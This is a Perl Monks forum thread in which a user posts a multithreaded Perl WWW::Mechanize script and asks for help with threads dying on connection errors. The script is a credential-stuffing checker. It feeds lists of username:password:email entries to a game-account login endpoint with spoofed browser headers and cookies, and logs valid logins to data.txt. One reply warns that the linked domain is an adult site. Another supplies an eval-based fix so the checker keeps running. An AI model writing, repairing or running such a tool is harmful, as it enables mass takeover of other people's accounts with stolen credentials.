allhellno has asked for the wisdom of the Perl Monks concerning the following question:

Well monks this one has me stumped, I have been toying with a login script but I keep getting errors like so Thread 4 terminated abnormally: Error POSTing http://account.verydeep.us/auth: Can't connect to account.verydeep.us:80 (An operation was attempted on something that is not a socket.) at homerun.pl line 10764 Now can some one school me on proper error handling to avoid threads terminating and perhaps the initial cause of this error? thanks

use strict; use threads; use Thread::Queue; use WWW::Mechanize; use threads::shared; # number of worker threads my $THREADS=50; # accounts go here my $logins= <<'EOT'; EOT # account regex my $r1='((?:[a-z0-9_][a-z0-9_]*))'; my $r2='(:)'; my $r3='((?:[a-z0-9_][a-z0-9_]*))'; my $r4='(:)'; my $r5='(\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b)'; my $r=$r1.$r2.$r3.$r4.$r5; # response regex my $rg1='(PVPNET_ACCT_NA)'; my $rg2='(=)'; my $rg3='(.*)'; my $rg4='(;)'; my $rg5='( )'; my $rg6='(expires)'; my $rg=$rg1.$rg2.$rg3.$rg4.$rg5.$rg6; my $c=0; # spinner state my $checked :shared; # sets variables to be shared my $failed :shared; my $success :shared; my $loaded :shared; my $ETA=0; $checked=0; $failed=0; $success=0; $loaded=0; my $DQ = Thread::Queue->new(); # creates main data queue # loads logins into the data queue while($logins =~ m/$r/isg) { $loaded++; $DQ->enqueue("$1$2$3$4$5"); } $DQ->enqueue("EXIT") for(1..$THREADS); # setting end of queue threads->create("fetchname") for(1..$THREADS); # creating worker threa +ds # statistics display, runs while threads are active and undetached while(threads->list(threads::running)){ &spin; } # the worker threads sub fetchname { my $mech = WWW::Mechanize->new(); my $url = "http://account.verydeep.us/auth"; $mech->stack_depth(0); $mech->add_header( 'Host' => 'account.verydeep.us' ); $mech->add_header( 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; W +OW64; rv:20.0) Gecko/20100101 Firefox/20.0' ); $mech->add_header( 'Accept' => 'application/json, text/javascript, + */*; q=0.01' ); $mech->add_header( 'Accept-Language' => 'en-US,en;q=0.5' ); $mech->add_header( 'Accept-Encoding' => 'gzip, deflate' ); $mech->add_header( 'Content-Type' => 'application/x-www-form-urlen +coded; charset=UTF-8' ); $mech->add_header( 'X-Requested-With' => 'XMLHttpRequest' ); $mech->add_header( 'Referer' => 'https://account.verydeep.com/pm.h +tml?xdm_e=https%3A%2F%2Faccount.verydeep.com%2Flogin&xdm_c=default117 +0&xdm_p=4' ); $mech->add_header( 'Cookie' => 'visid_incap_51250=L/p4J/81RaWWf7nn +gJC88f7+mVEAAAAAAAAAAAAAAAA627Fy7OjkMoyA2Oc4B6//; PVPNET_REGION=na; P +VPNET_LANG=en_US; __cfduid=df7eac3c5c127bfbcb0e31c30fb17b52c136907855 +6; s_nr=1369456554695-Repeat; rp2=1369456554696-Repeat; s_vi=[CS]v1|2 +8CD3D94051D35DC-6000012C2000087C[CE]; s_cc=true; s_ppv=lol%253Ana%253 +Aenglish%253Aaccount%2520management%2C96%2C72%2C1255; s_sq=%5B%5BB%5D +%5D; incap_ses_122_51250=WxwcF6i6NR0DKIgvX26xAWs/oFEAAAAAitH5v/t9EiIL +qMw2ixl+Sw==; riot_region=na' ); $mech->add_header( 'Connection' => 'keep-alive' ); $mech->add_header( 'Pragma' => 'no-cache' ); $mech->add_header( 'Cache-Control' => 'no-cache'); while(my $next=$DQ->dequeue()) { last if $next eq 'EXIT'; if($next =~ m/$r/isg) { RETRY: my $user= $1; my $pass= $3; my $email= $5; $mech->post($url, [ 'username'=>"$user", 'password'=>"$pass", ]); $checked++; if ($@) { croak $@; goto RETRY; } my $response=$mech->response->headers->as_string; if($response =~ m/$rg/isg) { $success++; open (DATAOUT, '>>data.txt'); my $fullinfo = "$3:$user:$pass:$email"; print DATAOUT "$fullinfo\n"; close (DATAOUT); } else { $failed++; open (FAILEDOUT, '>>failed.txt'); my $fullfail = "$user:$pass:$email"; print FAILEDOUT "$fullfail\n"; close (FAILEDOUT); } } } sleep(5); threads->detach; } # spinning statistics sub spin { local $| = 1; if($checked!=0) { $ETA = $checked/$loaded*100; } $ETA = sprintf ("%.0f", $ETA); print "\rLoaded: $loaded Checked: $checked Good: $success Bad: $fa +iled $ETA% ", qw( | / - \ )[$c++%4]; select undef, undef, undef, 0.25; }

Replies are listed 'Best First'.
Re: Threads terminating adbnormally
by kcott (Archbishop) on May 28, 2013 at 02:00 UTC

    *** WARNING ***

    For anyone attempting to test --allhellno's code, be aware that http://account.verydeep.com/ is a porn site. Here's what I got when I connected via lynx (rejecting all cookies):

    "verydeep.com has been connecting our visitors with providers of Adult Cam Web, Adult DVD, Adult DVD Rental and many other related services for nearly 10 years. Join thousands of satisfied visitors who found Adult Toy, Amateur Porn, Dildo, DVD XXX, and Free Porn."

    allhellno,

    Some people may be offended by this type of material. Show some basic consideration! I will be downvoting this node.

    -- Ken

      heh yeah thats my fault, the actual script was pointing to a completely different url all together, and my attempt to censor this i tried to point it @ my own website verydeep.us hope that clears up that little misunderstanding
Re: Threads terminating adbnormally
by Gangabass (Vicar) on May 28, 2013 at 05:49 UTC
    You need eval {};
    eval { $mech->post($url, [ 'username' => $user, 'password' => $pass, ]); }; $checked++; if ($@) { croak $@; goto RETRY; }
      you are a messenger from god, I thank you for your contribution